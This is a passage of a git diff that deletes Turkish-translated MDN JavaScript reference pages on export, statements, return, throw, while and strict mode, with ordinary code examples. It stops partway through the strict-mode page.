dışa aktarımı kullanabiliriz:</p> - -<pre class="brush: js">// modül "benim-modulum.js" -export default function kup(x) { - return x * x * x; -} -</pre> - -<p>Sonra, başka bir kod içerisinde, varsayılan dışa aktarımı içe aktarmak anlaşılır olacaktır:</p> - -<pre class="brush: js">import kup from 'benim-modulum'; -console.log(kup(3)); // 27 -</pre> - -<p>Dikkate alınız ki <code>var</code>, <code>let</code> veya <code>const</code> anahtar kelimelerini <code>export default</code> ile kullanamazsınız.</p> - -<h2 id="Spesifikasyonlar">Spesifikasyonlar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spesifikasyon</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-exports', 'Exports')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>İlk tanım.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel destek</td> - <td>61 (60 w/ flag)</td> - <td>{{CompatNo}} (54 w/ flag)</td> - <td>{{CompatNo}} (15 w/flag)</td> - <td>{{CompatNo}}</td> - <td>10.1</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>10.3</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("Statements/import", "import")}}</li> - <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li> - <li><a href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/statements/index.html b/files/tr/web/javascript/reference/statements/index.html deleted file mode 100644 index b9fd7f94a0..0000000000 --- a/files/tr/web/javascript/reference/statements/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Statements and declarations -slug: Web/JavaScript/Reference/Statements -tags: - - JavaScript - - NeedsTranslation - - Reference - - TopicStub - - statements -translation_of: Web/JavaScript/Reference/Statements ---- -<div>{{jsSidebar("Statements")}}</div> - -<p>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</p> - -<h2 id="Statements_and_declarations_by_category">Statements and declarations by category</h2> - -<p>For an alphabetical listing see the sidebar on the left.</p> - -<h3 id="Control_flow">Control flow</h3> - -<dl> - <dt>{{jsxref("Statements/block", "Block")}}</dt> - <dd>A block statement is used to group zero or more statements. The block is delimited by a pair of curly brackets.</dd> - <dt>{{jsxref("Statements/break", "break")}}</dt> - <dd>Terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement.</dd> - <dt>{{jsxref("Statements/continue", "continue")}}</dt> - <dd>Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration.</dd> - <dt>{{jsxref("Statements/Empty", "Empty")}}</dt> - <dd>An empty statement is used to provide no statement, although the JavaScript syntax would expect one.</dd> - <dt>{{jsxref("Statements/if...else", "if...else")}}</dt> - <dd>Executes a statement if a specified condition is true. If the condition is false, another statement can be executed.</dd> - <dt>{{jsxref("Statements/switch", "switch")}}</dt> - <dd>Evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case.</dd> - <dt>{{jsxref("Statements/throw", "throw")}}</dt> - <dd>Throws a user-defined exception.</dd> - <dt>{{jsxref("Statements/try...catch", "try...catch")}}</dt> - <dd>Marks a block of statements to try, and specifies a response, should an exception be thrown.</dd> -</dl> - -<h3 id="Declarations">Declarations</h3> - -<dl> - <dt>{{jsxref("Statements/var", "var")}}</dt> - <dd>Declares a variable, optionally initializing it to a value.</dd> - <dt>{{jsxref("Statements/let", "let")}}</dt> - <dd>Declares a block scope local variable, optionally initializing it to a value.</dd> - <dt>{{jsxref("Statements/const", "const")}}</dt> - <dd>Declares a read-only named constant.</dd> -</dl> - -<h3 id="Functions_and_classes">Functions and classes</h3> - -<dl> - <dt>{{jsxref("Statements/function", "function")}}</dt> - <dd>Declares a function with the specified parameters.</dd> - <dt>{{jsxref("Statements/function*", "function*")}}</dt> - <dd>Generators functions enable writing <a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">iterators</a> more easily.</dd> - <dt>{{jsxref("Statements/return", "return")}}</dt> - <dd>Specifies the value to be returned by a function.</dd> - <dt>{{jsxref("Statements/class", "class")}}</dt> - <dd>Declares a class.</dd> -</dl> - -<h3 id="Iterations">Iterations</h3> - -<dl> - <dt>{{jsxref("Statements/do...while", "do...while")}}</dt> - <dd>Creates a loop that executes a specified statement until the test condition evaluates to false. The condition is evaluated after executing the statement, resulting in the specified statement executing at least once.</dd> - <dt>{{jsxref("Statements/for", "for")}}</dt> - <dd>Creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement executed in the loop.</dd> - <dt>{{deprecated_inline}} {{non-standard_inline()}} {{jsxref("Statements/for_each...in", "for each...in")}}</dt> - <dd>Iterates a specified variable over all values of object's properties. For each distinct property, a specified statement is executed.</dd> - <dt>{{jsxref("Statements/for...in", "for...in")}}</dt> - <dd>Iterates over the enumerable properties of an object, in arbitrary order. For each distinct property, statements can be executed.</dd> - <dt>{{jsxref("Statements/for...of", "for...of")}}</dt> - <dd>Iterates over iterable objects (including {{jsxref("Global_Objects/Array","arrays","","true")}}, array-like objects, <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">iterators and generators</a>), invoking a custom iteration hook with statements to be executed for the value of each distinct property.</dd> - <dt>{{jsxref("Statements/while", "while")}}</dt> - <dd>Creates a loop that executes a specified statement as long as the test condition evaluates to true. The condition is evaluated before executing the statement.</dd> -</dl> - -<h3 id="Others">Others</h3> - -<dl> - <dt>{{jsxref("Statements/debugger", "debugger")}}</dt> - <dd>Invokes any available debugging functionality. If no debugging functionality is available, this statement has no effect.</dd> - <dt>{{jsxref("Statements/export", "export")}}</dt> - <dd>Used to export functions to make them available for imports in external modules, another scripts.</dd> - <dt>{{jsxref("Statements/import", "import")}}</dt> - <dd>Used to import functions exported from an external module, another script.</dd> - <dt>{{jsxref("Statements/label", "label")}}</dt> - <dd>Provides a statement with an identifier that you can refer to using a <code>break</code> or <code>continue</code> statement.</dd> -</dl> - -<dl> - <dt>{{deprecated_inline}} {{jsxref("Statements/with", "with")}}</dt> - <dd>Extends the scope chain for a statement.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1', '#sec-12', 'Statements')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition</td> - </tr> - <tr> - <td>{{SpecName('ES3', '#sec-12', 'Statements')}}</td> - <td>{{Spec2('ES3')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>New: function*, let, for...of, yield, class</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators">Operators</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/statements/return/index.html b/files/tr/web/javascript/reference/statements/return/index.html deleted file mode 100644 index 1a1188b3d5..0000000000 --- a/files/tr/web/javascript/reference/statements/return/index.html +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: return -slug: Web/JavaScript/Reference/Statements/return -tags: - - JavaScript - - fonksiyon durdurmak - - fonksiyon döndürmek - - komutlar - - return komutu -translation_of: Web/JavaScript/Reference/Statements/return ---- -<div>{{jsSidebar("Statements")}}</div> - -<p><strong><code>return</code></strong> komutu fonskiyonun çalışmasını bitirir ve fonksiyondan döndürülecek değeri belirler.</p> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">return [[ifade]]; </pre> - -<dl> - <dt><code>ifade</code></dt> - <dd>Döndürülecek ifade. Eğer atlanırsa, <code>undefined</code> döndürülür.</dd> -</dl> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Bir fonksiyonda <code><strong>return </strong></code>komutu çağırılırsa, o fonksiyonun çalışması durur. Eğer belirtilmişse, verilen değer fonksiyonu çağırana kadar döndürülür. Eğer ifade belirtilmemişse, <code>undefined döndürülür</code>. Aşağıdaki tüm <strong><code>return </code></strong>komutları çağırıldıkları fonksiyonun çalışmasını durdururlar:</p> - -<pre class="brush: js">return; -return true; -return false; -return x; -return x + y / 3; -</pre> - -<h3 id="Otomatik_Noktalı_Virgül_İlavesi">Otomatik Noktalı Virgül İlavesi</h3> - -<p><code><strong>return </strong></code>komutu <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">otomatik noktalı virgül ilavesi (ASI)</a>'ne dahildir. <code><strong>return </strong></code>ile <code><strong>ifade</strong></code> aynı satırda olmalıdır. Aksi halde;</p> - -<pre class="brush: js">return -a + b; -</pre> - -<p>ASI tarafıdan aşağıdaki gibi değiştirilir:</p> - -<pre>return; -a + b; -</pre> - -<p>Ve konsol size şu uyarıyı verecektir:"unreachable code after return statement (<em>return komutundan sonra ulaşılamayan kod</em>)".</p> - -<div class="note"> "return komutundan sonra ulaşılamayan kod" uyarısı Gecko 40 {{geckoRelease(40)}} sürümü ile başlamıştır.</div> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Değer_döndürme">Değer döndürme</h3> - -<p>Aşağıdaki fonksiyon x argümanının (burada x bir sayıdır), karesini döndürür.</p> - -<pre class="brush: js">function square(x) { - return x * x; -} -</pre> - -<h3 id="Fonksiyonu_yarıda_kesme">Fonksiyonu yarıda kesme</h3> - -<p>return çağırıldığında, çağırıldığı noktada o fonksiyon anında durur .</p> - -<pre class="brush: js">function sayac() { - for (var sayim = 1; ; sayim++) { // sonsuz döngü - console.log(sayim + "A"); // 5'e kadar çıktı verir. - if (sayim === 5) { - return; - } - console.log(sayim + "B"); // 4'e kadar çıktı verir. - } - console.log(sayim + "C"); // hiçbir çıktı vermez. -} - -sayac(); - -// Çıktı: -// 1A -// 1B -// 2A -// 2B -// 3A -// 3B -// 4A -// 4B -// 5A -</pre> - -<h3 id="Bir_fonksiyonu_döndürme">Bir fonksiyonu döndürme</h3> - -<p>Kapsanımlar hakkındaki şu makaleye de bakınız: <a href="/en-US/docs/Web/JavaScript/Closures">Closures</a>.</p> - -<pre class="brush: js">function magic(x) { - return function calc(x) { return x * 42 }; -} - -var answer = magic(); -answer(1337); // 56154 -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Ön-tanımlı.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-12.9', 'Return statement')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-return-statement', 'Return statement')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Android için Chrome</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel destek</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope" title="En/Core_JavaScript_1.5_Reference/Functions">Fonksiyonlar</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Closures">Kapsanımlar</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/statements/throw/index.html b/files/tr/web/javascript/reference/statements/throw/index.html deleted file mode 100644 index 5ad62b840f..0000000000 --- a/files/tr/web/javascript/reference/statements/throw/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: throw -slug: Web/JavaScript/Reference/Statements/throw -translation_of: Web/JavaScript/Reference/Statements/throw ---- -<div>{{jsSidebar("Statements")}}</div> - -<p><code>Throw </code>ifadesi kullanıcı tanımlı bir istisna atar. Mevcut işlevin yürütülmesi durur (atmadan sonraki ifadeler yürütülmez) ve kontrol, çağrı yığındaki ilk yakalama blokuna geçirilir. Arayanlar arasında yakalama bloğu yoksa, program sonlanır.</p> - -<div>{{EmbedInteractiveExample("pages/js/statement-throw.html")}}</div> - -<p class="hidden">Bu interaktif örneğin için kaynak bir GitHub deposunda saklanır. Etkileşimli örnek projesine katkıda bulunmak isterseniz, lütfen <a href="/tr/docs/">https://github.com/mdn/interactive-examples</a> klonlayın ve bize bir request isteği gönderin.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox notranslate">throw <em>ifade</em>; </pre> - -<dl> - <dt><em>ifade</em></dt> - <dd>Hata fırlatmak için ifade.</dd> -</dl> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Bir hata fırlatmak için <code>throw</code> ifadesini kullanın. Bir hata fırlatırken, ifade hatanın değerini belirtir. Aşağıdakilerin her biri bir hata fırlatır:</p> - -<pre class="brush: js notranslate">throw 'Error2'; // String bir ifade ile hata oluşturur. -throw 42; // Integer bir değerde hata oluşturur. -throw true; // Boolean bir ifade de hata oluşturur. -throw new Error('Required'); // `Required` adıyla bir hata nesnesi oluşturur. -</pre> - -<p>Also note that the <code>throw</code> statement is affected by <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">automatic semicolon insertion (ASI)</a> as no line terminator between the <code>throw</code> keyword and the expression is allowed.</p> - -<h2 id="Örnek">Örnek</h2> - -<h3 id="İstisna_Nesnesi_Örneği">İstisna Nesnesi Örneği</h3> - -<p>Bir istisna atarken bir nesne belirtebilirsiniz. Daha sonra nesnenin özelliklerini <code>catch </code>bloğuna referansta bulabilirsiniz. Aşağıdaki örnek, <code>UserException </code>türünde bir nesne oluşturur ve bunu bir <code>throw </code>ifadesinde kullanır.</p> - -<pre class="brush: js notranslate">function UserException(message) { - this.message = message; - this.name = 'UserException'; -} -function getMonthName(mo) { - mo = mo - 1; // Dizi içinde bir ay sayısı belirlenir (1 = Jan, 12 = Dec) - var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', - 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; - if (months[mo] !== undefined) { - return months[mo]; - } else { - throw new UserException('InvalidMonthNo'); - } -} - -try { - // try bloğu - var myMonth = 15; // Bir yılda 15 ay bulunmaz. - var monthName = getMonthName(myMonth); -} catch (e) { - monthName = 'unknown'; - console.log(e.message, e.name); // catch bloğuna hata nesnesinin parametreleri giriliyor. -} -</pre> - -<h3 id="Bir_istisnayı_atmanın_başka_bir_örneği">Bir istisnayı atmanın başka bir örneği</h3> - -<p>Aşağıdaki örnek, ABD posta kodu için bir giriş dizesini sınar. Posta kodu geçersiz bir format kullanıyorsa, throw ifadesi bir nesne türü oluşturarak bir istisna atar .</p> - -<p><code>ZipCodeFormatException</code>.</p> - -<pre class="brush: js notranslate">/* - * Zip Kodu objesi oluşturulur. - * - * Kabul edilen zip kodları: - * 12345 - * 12345-6789 - * 123456789 - * 12345 6789 - * - * parametre kabul edilen zip kodlara uygun değilse - * bir istisna atılır. - */ - -function ZipCode(zip) { - zip = new String(zip); - pattern = /[0-9]{5}([- ]?[0-9]{4})?/; - if (pattern.test(zip)) { - // zip kodu değeri dizideki ilk eşleşme olacak - this.value = zip.match(pattern)[0]; - this.valueOf = function() { - return this.value - }; - this.toString = function() { - return String(this.value) - }; - } else { - throw new ZipCodeFormatException(zip); - } -} - -function ZipCodeFormatException(value) { - this.value = value; - this.message = 'bir posta kodu için beklenen değerlerle uyuşmuyor'; - this.toString = function() { - return this.value + this.message; - }; -} - -/* - * Zip kodlarını doğrulayan bir komut bloğu olabilir. - */ - -const ZIPCODE_INVALID = -1; -const ZIPCODE_UNKNOWN_ERROR = -2; - -function verifyZipCode(z) { - try { - z = new ZipCode(z); - } catch (e) { - if (e instanceof ZipCodeFormatException) { - return ZIPCODE_INVALID; - } else { - return ZIPCODE_UNKNOWN_ERROR; - } - } - return z; -} - -a = verifyZipCode(95060); // 95060 -b = verifyZipCode(9560); // -1 -c = verifyZipCode('a'); // -1 -d = verifyZipCode('95060'); // 95060 -e = verifyZipCode('95060 1234'); // 95060 1234 -</pre> - -<h3 id="Bir_istisnayı_tekrar_atmak">Bir istisnayı tekrar atmak</h3> - -<p>Hatayı yakaladıktan sonra bir özel durumu geri almak için <code>throw </code>kullanabilirsiniz. Aşağıdaki örnek,</p> - -<p>Seğer 50'nin üzerindeyse onu yeniden kullanır. Yeniden biçimlendirilmiş istisna, kullanıcının onu görebilmesi için kapama işlevine veya en üst düzeye kadar çoğalır..</p> - -<pre class="brush: js notranslate">try { - throw n; // integer bir değerde istisna atar -} catch (e) { - if (e <= 50) { - // değer 1 ile 50 arasında ise - } else { - // tekrar bir istisna atar - throw e; - } -} -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES3')}}</td> - <td>{{Spec2('ES3')}}</td> - <td> - <p>Başlangıç</p> - - <p>Javascript 1.4</p> - </td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td> - <td>{{Spec2('ES6')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.statements.throw")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a></li> -</ul> diff --git a/files/tr/web/javascript/reference/statements/while/index.html b/files/tr/web/javascript/reference/statements/while/index.html deleted file mode 100644 index e9135ab063..0000000000 --- a/files/tr/web/javascript/reference/statements/while/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: while -slug: Web/JavaScript/Reference/Statements/while -translation_of: Web/JavaScript/Reference/Statements/while ---- -<div>{{jsSidebar("Statements")}}</div> - -<p><strong>while ifadesi</strong> tanımlanan koşul gerçekleştiği sürece belirtilen kodu çalıştırmaya devam eden bir döngü oluşturur. Önce şart kontrol edilir, eğer şart sağlanıyorsa kod çalıştırılır.</p> - -<div>{{EmbedInteractiveExample("pages/js/statement-while.html")}}</div> - - - -<h2 id="Sözdizimi_Syntax">Sözdizimi (Syntax)</h2> - -<pre class="syntaxbox notranslate">while (<var>condition</var>) - <var>statement</var> -</pre> - -<dl> - <dt><code><var>condition</var></code></dt> - <dd>Döngüdeki her bir tekrarlamadan önce kontrol edilen koşul. Eğer koşul sağlanıyorsa (true) <code>statement</code> çalıştırılır. Ancak koşul sağlanmıyorsa (false) <code>statement</code> çalıştırılmaz ve <code>while</code> döngüsünden sonra yazılan kod bloğu ile program çalışmaya devam eder.</dd> - <dt><code><var>statement</var></code></dt> - <dd>Koşul sağlandığında çalıştırılacak olan kod. Döngü içerisinde birden fazla kod satırı çalıştırmak için <a href="/en-US/docs/JavaScript/Reference/Statements/block">block</a> (<code>{ ... }</code>) ifade şeklini kullanabilirsiniz. </dd> - <dd><br> - Not: <code>break</code> ifadesini kullanarak döngüyü dilediğiniz zaman sonlandırabilirsiniz.</dd> -</dl> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="while_kullanımı">while kullanımı</h3> - -<p>Aşağıdaki örnekte bulunan (<code>n < 3</code>) ifadesi while döngüsünün koşulu yani <code>condition</code> kısmıdır. Süslü parantezler içerisinde bulunan kısım ise çalıştırılacak olan kod bloğu yani <code>statement</code> kısmıdır. Dolayısıyla aşağıdaki <code>while</code> döngüsü, <code>n</code> değişkeninin değeri üçten küçük olduğu sürece çalışmaya devam eder.</p> - -<pre class="brush:js notranslate">var n = 0; -var x = 0; - -while (n < 3) { - n++; - x += n; -}</pre> - -<p>Her tekrarlamada, döngü <code>n</code> değişkeninin değerini bir arttırır. Ardından <code>n</code> değişkeninin değerini <code>x</code> değişkeninin değerine ekler. Dolayısıyla, <code>x</code> ve <code>n</code> değişkenleri aşağıdaki değerlere sahip olurlar:</p> - -<ul> - <li>İlk tekrardan sonra: <code>n</code> = 1 ve <code>x</code> = 1</li> - <li>İkinci tekrardan sonra: <code>n</code> = 2 ve <code>x</code> = 3</li> - <li>Üçüncü tekrardan sonra: <code>n</code> = 3 ve <code>x</code> = 6</li> -</ul> - -<p>Üçüncü tekrardan sonra, <code>n</code> < 3 koşulu artık sağlanmadığı için döngü sonlanır.</p> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-while-statement', 'while statement')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - - - -<p>{{Compat("javascript.statements.while")}}</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("Statements/do...while", "do...while")}}</li> - <li>{{jsxref("Statements/for", "for")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/strict_mode/index.html b/files/tr/web/javascript/reference/strict_mode/index.html deleted file mode 100644 index e87b630e1b..0000000000 --- a/files/tr/web/javascript/reference/strict_mode/index.html +++ /dev/null @@ -1,363 +0,0 @@ ---- -title: Sıkı mod -slug: Web/JavaScript/Reference/Strict_mode -translation_of: Web/JavaScript/Reference/Strict_mode ---- -<div>{{JsSidebar("More")}}</div> - -<div class="callout-box">Sometimes you'll see the default, non-strict mode referred to as <strong>"<a href="https://developer.mozilla.org/docs/Glossary/Sloppy_mode" id="sloppyModeId333">sloppy mode</a>"</strong>. This isn't an official term, but be aware of it, just in case.</div> - -<p>JavaScript's strict mode, introduced in ECMAScript 5, is a way to <em>opt in</em> to a restricted variant of JavaScript, thereby implicitly opting-out of "<a href="https://developer.mozilla.org/docs/Glossary/Sloppy_mode">sloppy mode</a>". Strict mode isn't just a subset: it <em>intentionally</em> has different semantics from normal code. Browsers not supporting strict mode will run strict mode code with different behavior from browsers that do, so don't rely on strict mode without feature-testing for support for the relevant aspects of strict mode. Strict mode code and non-strict mode code can coexist, so scripts can opt into strict mode incrementally.</p> - -<p>Strict mode makes several changes to normal JavaScript semantics:</p> - -<ol> - <li>Eliminates some JavaScript silent errors by changing them to throw errors.</li> - <li>Fixes mistakes that make it difficult for JavaScript engines to perform optimizations: strict mode code can sometimes be made to run faster than identical code that's not strict mode.</li> - <li>Prohibits some syntax likely to be defined in future versions of ECMAScript.</li> -</ol> - -<p>See <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">transitioning to strict mode</a>, if you want to change your code to work in the restricted variant of JavaScript.</p> - -<h2 id="Invoking_strict_mode">Invoking strict mode</h2> - -<p>Strict mode applies to <em>entire scripts</em> or to <em>individual functions</em>. It doesn't apply to block statements enclosed in <code>{}</code> braces; attempting to apply it to such contexts does nothing. <code>eval</code> code, <code>Function</code> code, event handler attributes, strings passed to <a href="/en-US/docs/Web/API/WindowTimers/setTimeout" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowTimers.setTimeout()</code></a>, and related functions are entire scripts, and invoking strict mode in them works as expected.</p> - -<h3 id="Strict_mode_for_scripts">Strict mode for scripts</h3> - -<p>To invoke strict mode for an entire script, put the <em>exact</em> statement <code>"use strict";</code> (or <code>'use strict';</code>) before any other statements.</p> - -<pre class="brush: js">// Whole-script strict mode syntax -'use strict'; -var v = "Hi! I'm a strict mode script!"; -</pre> - -<p>This syntax has a trap that has <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=579119">already bitten</a> <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=627531">a major site</a>: it isn't possible to blindly concatenate conflicting scripts. Consider concatenating a strict mode script with a non-strict mode script: the entire concatenation looks strict! The inverse is also true: non-strict plus strict looks non-strict. Obviously, concatenation of scripts is never ideal, but if you must, consider enabling strict on a function-by-function basis.</p> - -<p>You can also take the approach of wrapping the entire contents of a script in a function and having that outer function use strict mode. This eliminates the concatenation problem and it means that you have to explicitly export any shared variables out of the function scope.</p> - -<h3 id="Strict_mode_for_functions">Strict mode for functions</h3> - -<p>Likewise, to invoke strict mode for a function, put the <em>exact</em> statement <code>"use strict";</code> (or <code>'use strict';</code>) in the function's body before any other statements.</p> - -<pre class="brush: js">function strict() { - // Function-level strict mode syntax - 'use strict'; - function nested() { return 'And so am I!'; } - return "Hi! I'm a strict mode function! " + nested(); -} -function notStrict() { return "I'm not strict."; } -</pre> - -<h3 id="Strict_mode_for_modules">Strict mode for modules</h3> - -<p>ECMAScript 2015 introduced <a href="/en-US/docs/Web/JavaScript/Reference/Statements/export">JavaScript modules</a> and therefore a 3rd way to enter strict mode. The entire contents of JavaScript modules are automatically in strict mode, with no statement needed to initiate it.</p> - -<pre class="brush: js">function strict() { - // because this is a module, I'm strict by default -} -export default strict; -</pre> - -<h2 id="Changes_in_strict_mode">Changes in strict mode</h2> - -<p>Strict mode changes both syntax and runtime behavior. Changes generally fall into these categories: changes converting mistakes into errors (as syntax errors or at runtime), changes simplifying how the particular variable for a given use of a name is computed, changes simplifying <code>eval</code> and <code>arguments</code>, changes making it easier to write "secure" JavaScript, and changes anticipating future ECMAScript evolution.</p> - -<h3 id="Converting_mistakes_into_errors">Converting mistakes into errors</h3> - -<p>Strict mode changes some previously-accepted mistakes into errors. JavaScript was designed to be easy for novice developers, and sometimes it gives operations which should be errors non-error semantics. Sometimes this fixes the immediate problem, but sometimes this creates worse problems in the future. Strict mode treats these mistakes as errors so that they're discovered and promptly fixed.</p> - -<p>First, strict mode makes it impossible to accidentally create global variables. In normal JavaScript mistyping a variable in an assignment creates a new property on the global object and continues to "work" (although future failure is possible: likely, in modern JavaScript). Assignments, which would accidentally create global variables, instead throw an error in strict mode:</p> - -<pre class="brush: js">'use strict'; - // Assuming no global variable mistypedVariable exists -mistypeVariable = 17; // this line throws a ReferenceError due to the - // misspelling of variable -</pre> - -<p>Second, strict mode makes assignments which would otherwise silently fail to throw an exception. For example, <code>NaN</code> is a non-writable global variable. In normal code assigning to <code>NaN</code> does nothing; the developer receives no failure feedback. In strict mode assigning to <code>NaN</code> throws an exception. Any assignment that silently fails in normal code (assignment to a non-writable global or property, assignment to a getter-only property, assignment to a new property on a <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions" title="en-US/JavaScript/Reference/Global Objects/Object/preventExtensions">non-extensible</a> object) will throw in strict mode:</p> - -<pre class="brush: js">'use strict'; - -// Assignment to a non-writable global -var undefined = 5; // throws a TypeError -var Infinity = 5; // 